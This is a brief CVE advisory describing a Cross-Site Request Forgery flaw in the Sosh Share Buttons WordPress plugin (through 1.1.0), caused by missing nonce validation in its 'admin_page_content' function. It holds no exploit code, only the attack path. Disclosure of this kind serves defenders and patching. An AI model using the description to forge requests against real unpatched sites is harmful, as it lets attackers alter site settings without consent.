CVE-2025-15377

Description

The Sosh Share Buttons plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.0. This is due to missing nonce validation on the 'admin_page_content' function. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
